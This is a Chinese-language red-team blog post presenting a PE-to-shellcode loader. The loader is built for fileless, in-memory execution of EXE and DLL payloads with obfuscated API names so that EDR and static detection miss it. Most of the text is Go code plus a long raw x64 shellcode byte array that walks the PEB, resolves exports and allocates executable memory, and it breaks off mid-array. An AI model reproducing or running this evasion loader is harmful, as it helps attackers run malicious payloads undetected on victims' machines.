简介
本文针对红队渗透测试中工具加载面临的检测规避、内存驻留及跨版本兼容性需求，提出一种模块化PE通用加载器设计。该方案通过动态解析PE结构、内存映射执行和API哈希混淆技术，实现无文件化载荷注入，有效绕过EDR/IOC静态特征检测。
PE转shellcode
代码参考https://github.com/Mephostophiles/PengCode,用go语言重构一下，核心就是在PE文件前写了一个加载器
package main
import (
"debug/pe"
"encoding/hex"
"fmt"
"os"
"io/ioutil"
)
func CheckPEArchitecture(filePath string) (string, error) {
file, err := os.Open(filePath)
if err != nil {
return "", fmt.Errorf("failed to open file: %v", err)
}
defer file.Close()
peData, err := pe.NewFile(file)
if err != nil {
fmt.Println("failed to read PE file: %v", err)
return "64-bit", nil
}else{
switch peData.Machine {
case pe.IMAGE_FILE_MACHINE_AMD64:
return "64-bit", nil
case pe.IMAGE_FILE_MACHINE_I386:
return "32-bit", nil
case pe.IMAGE_FILE_MACHINE_ARM64:
return "64-bit ARM (ARM64) executable or DLL", nil
default:
return fmt.Sprintf("unknown machine type: %d", peData.Machine), nil
}
}
}
func main() {
if len(os.Args) < 2 {
fmt.Println("Usage: enpass.exe <path-to-exe-or-dll>")
os.Exit(1)
}
filePath := os.Args[1]
architecture, err := CheckPEArchitecture(filePath)
if err != nil {
fmt.Printf("Error: %v\n", err)
os.Exit(1)
}
if architecture == "64-bit" {
Write64FileShellCode(filePath, "main.txt")
} else if architecture == "32-bit" {
Write32FileShellCode(filePath, "main.txt")
} else {
fmt.Println("unknown machine type:", architecture)
os.Exit(1)
}
fmt.Println(architecture)
}
func Write64FileShellCode(path, outPath string) {
hexData := []byte{0x48, 0x81, 0xEC, 0xC8, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x68, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0xA0, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,0x48, 0x89, 0x84, 0x24, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x84, 0x24, 0x80, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x80, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x20, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x50, 0x48, 0x89, 0x84, 0x24,0xA8, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x50, 0x48, 0x89, 0x84, 0x24, 0xB0, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x48, 0x8B,0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x50, 0x48, 0x89, 0x84, 0x24, 0xB8, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x20, 0x48, 0x89, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x88, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x88, 0x02, 0x00, 0x00, 0x48, 0x63,0x40, 0x3C, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xE8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xE8, 0x01, 0x00, 0x00, 0x48, 0x05, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x38, 0x01, 0x00, 0x00, 0x48,0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x38, 0x01, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x89, 0x84, 0x24, 0x08, 0x02, 0x00, 0x00, 0x48,0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x14, 0x89, 0x84, 0x24, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x18, 0x89, 0x84, 0x24, 0x94, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24,0x40, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x20, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xF8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x24, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,0x84, 0x24, 0xF0, 0x01, 0x00, 0x00, 0xC6, 0x44, 0x24, 0x58, 0x57, 0xC6, 0x44, 0x24, 0x59, 0x75, 0xC6, 0x44, 0x24, 0x5A, 0x84, 0xC6, 0x44, 0x24, 0x5B, 0x60, 0xC6, 0x44, 0x24, 0x5C, 0x82, 0xC6, 0x44, 0x24, 0x5D, 0x7F, 0xC6, 0x44, 0x24, 0x5E, 0x73, 0xC6, 0x44, 0x24, 0x5F, 0x51, 0xC6, 0x44, 0x24, 0x60, 0x74, 0xC6, 0x44, 0x24, 0x61, 0x74, 0xC6, 0x44, 0x24, 0x62, 0x82, 0xC6, 0x44, 0x24,0x63, 0x75, 0xC6, 0x44, 0x24, 0x64, 0x83, 0xC6, 0x44, 0x24, 0x65, 0x83, 0xC6, 0x44, 0x24, 0x66, 0x00, 0xC7, 0x44, 0x24, 0x70, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x70, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x70, 0x48, 0x63, 0x44, 0x24, 0x70, 0x48, 0x83, 0xF8, 0x0E, 0x73, 0x18, 0x48, 0x63, 0x44, 0x24, 0x70, 0x0F, 0xB6, 0x44, 0x04, 0x58, 0x83, 0xE8, 0x10, 0x48, 0x63, 0x4C,0x24, 0x70, 0x88, 0x44, 0x0C, 0x58, 0xEB, 0xD3, 0xC6, 0x44, 0x24, 0x30, 0x5C, 0xC6, 0x44, 0x24, 0x31, 0x7F, 0xC6, 0x44, 0x24, 0x32, 0x71, 0xC6, 0x44, 0x24, 0x33, 0x74, 0xC6, 0x44, 0x24, 0x34, 0x5C, 0xC6, 0x44, 0x24, 0x35, 0x79, 0xC6, 0x44, 0x24, 0x36, 0x72, 0xC6, 0x44, 0x24, 0x37, 0x82, 0xC6, 0x44, 0x24, 0x38, 0x71, 0xC6, 0x44, 0x24, 0x39, 0x82, 0xC6, 0x44, 0x24, 0x3A, 0x89, 0xC6,0x44, 0x24, 0x3B, 0x51, 0xC6, 0x44, 0x24, 0x3C, 0x00, 0xC7, 0x44, 0x24, 0x74, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x74, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x74, 0x48, 0x63, 0x44, 0x24, 0x74, 0x48, 0x83, 0xF8, 0x0C, 0x73, 0x18, 0x48, 0x63, 0x44, 0x24, 0x74, 0x0F, 0xB6, 0x44, 0x04, 0x30, 0x83, 0xE8, 0x10, 0x48, 0x63, 0x4C, 0x24, 0x74, 0x88, 0x44, 0x0C, 0x30, 0xEB, 0xD3,0xC6, 0x44, 0x24, 0x40, 0x66, 0xC6, 0x44, 0x24, 0x41, 0x79, 0xC6, 0x44, 0x24, 0x42, 0x82, 0xC6, 0x44, 0x24, 0x43, 0x84, 0xC6, 0x44, 0x24, 0x44, 0x85, 0xC6, 0x44, 0x24, 0x45, 0x71, 0xC6, 0x44, 0x24, 0x46, 0x7C, 0xC6, 0x44, 0x24, 0x47, 0x51, 0xC6, 0x44, 0x24, 0x48, 0x7C, 0xC6, 0x44, 0x24, 0x49, 0x7C, 0xC6, 0x44, 0x24, 0x4A, 0x7F, 0xC6, 0x44, 0x24, 0x4B, 0x73, 0xC6, 0x44, 0x24, 0x4C,0x00, 0xC7, 0x44, 0x24, 0x78, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x78, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x78, 0x48, 0x63, 0x44, 0x24, 0x78, 0x48, 0x83, 0xF8, 0x0C, 0x73, 0x18, 0x48, 0x63, 0x44, 0x24, 0x78, 0x0F, 0xB6, 0x44, 0x04, 0x40, 0x83, 0xE8, 0x10, 0x48, 0x63, 0x4C, 0x24, 0x78, 0x88, 0x44, 0x0C, 0x40, 0xEB, 0xD3, 0xC7, 0x44, 0x24, 0x68, 0x01, 0x00, 0x00, 0x00,0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x68, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x68, 0x8B, 0x84, 0x24, 0x90, 0x01, 0x00, 0x00, 0x39, 0x44, 0x24, 0x68, 0x0F, 0x87, 0xC3, 0x05, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x7C, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x7C, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x7C, 0x8B, 0x84, 0x24, 0x94, 0x01, 0x00, 0x00, 0x39, 0x44, 0x24, 0x7C, 0x0F, 0x83, 0x99, 0x05,0x00, 0x00, 0x8B, 0x44, 0x24, 0x7C, 0x48, 0x8B, 0x8C, 0x24, 0xF0, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x04, 0x41, 0x3B, 0x44, 0x24, 0x68, 0x0F, 0x85, 0x7A, 0x05, 0x00, 0x00, 0x8B, 0x44, 0x24, 0x7C, 0x48, 0x8B, 0x8C, 0x24, 0xF8, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81, 0x89, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00,0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x00, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xBA, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x01, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x01, 0x0F, 0xB6, 0x4C, 0x0C,0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x9B, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x02, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x02, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x7C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x03, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x03, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B,0xC1, 0x0F, 0x85, 0x5D, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x04, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x04, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x3E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x05, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x05, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F,0x85, 0x1F, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x06, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x06, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x07, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x07, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xE1,0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x08, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x08, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xC2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x09, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x09, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0xA3, 0x00, 0x00,0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0A, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0A, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x0F, 0x85, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0B, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0B, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x75, 0x69, 0x48, 0x8B, 0x44, 0x24, 0x20,0x0F, 0xBE, 0x40, 0x0C, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0C, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x75, 0x4E, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0D, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0D, 0x0F, 0xB6, 0x4C, 0x0C, 0x58, 0x3B, 0xC1, 0x75, 0x33, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x8C, 0x24, 0x40, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81,0x89, 0x84, 0x24, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x00, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x9B, 0x01,0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x01, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x01, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x7C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x02, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x02, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x5D, 0x01, 0x00, 0x00,0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x03, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x03, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x3E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x04, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x04, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x1F, 0x01, 0x00, 0x00, 0x48, 0x8B,0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x05, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x05, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x06, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x06, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0xE1, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24,0x20, 0x0F, 0xBE, 0x40, 0x07, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x07, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0xC2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x08, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x08, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F,0xBE, 0x40, 0x09, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x09, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x0F, 0x85, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0A, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0A, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x75, 0x69, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0B, 0xB9, 0x01, 0x00,0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0B, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x75, 0x4E, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0C, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0C, 0x0F, 0xB6, 0x4C, 0x0C, 0x30, 0x3B, 0xC1, 0x75, 0x33, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x8C, 0x24, 0x40, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81, 0x89, 0x84, 0x24, 0x1C, 0x01, 0x00, 0x00,0x8B, 0x84, 0x24, 0x1C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x60, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x00, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x9B, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20,0x0F, 0xBE, 0x40, 0x01, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x01, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x7C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x02, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x02, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x5D, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE,0x40, 0x03, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x03, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x3E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x04, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x04, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x1F, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x05,0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x05, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x06, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x06, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0xE1, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x07, 0xB9, 0x01,0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x07, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0xC2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x08, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x08, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x09, 0xB9, 0x01, 0x00, 0x00,0x00, 0x48, 0x6B, 0xC9, 0x09, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x0F, 0x85, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0A, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0A, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x75, 0x69, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0B, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0B, 0x0F,0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x75, 0x4E, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x0F, 0xBE, 0x40, 0x0C, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x0C, 0x0F, 0xB6, 0x4C, 0x0C, 0x40, 0x3B, 0xC1, 0x75, 0x33, 0x8B, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x8C, 0x24, 0x40, 0x01, 0x00, 0x00, 0x8B, 0x04, 0x81, 0x89, 0x84, 0x24, 0x20, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x20, 0x01, 0x00, 0x00,0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0xE9, 0x4C, 0xFA, 0xFF, 0xFF, 0xE9, 0x22, 0xFA, 0xFF, 0xFF, 0xC6, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0xE8, 0xC6, 0x84, 0x24, 0xA1, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA2, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA3, 0x00, 0x00, 0x00, 0x00,0xC6, 0x84, 0x24, 0xA4, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x84, 0x24, 0xA5, 0x00, 0x00, 0x00, 0x58, 0xC6, 0x84, 0x24, 0xA6, 0x00, 0x00, 0x00, 0x58, 0xC6, 0x84, 0x24, 0xA7, 0x00, 0x00, 0x00, 0x50, 0xC6, 0x84, 0x24, 0xA8, 0x00, 0x00, 0x00, 0xC3, 0xC7, 0x84, 0x24, 0x28, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x24, 0x01, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0xC7, 0x84,0x24, 0x2C, 0x01, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x8C, 0x24, 0x28, 0x01, 0x00, 0x00, 0x0B, 0xC8, 0x8B, 0xC1, 0x44, 0x8B, 0x8C, 0x24, 0x2C, 0x01, 0x00, 0x00, 0x44, 0x8B, 0xC0, 0xBA, 0x09, 0x00, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x94, 0x24, 0x00, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xA0, 0x01, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x80,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x10, 0x8B, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x83, 0xBC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x09, 0x7D, 0x25, 0x48, 0x63, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x63, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x94, 0x24, 0xA0, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x84, 0x04, 0xA0,0x00, 0x00, 0x00, 0x88, 0x04, 0x0A, 0xEB, 0xC1, 0xFF, 0x94, 0x24, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x28, 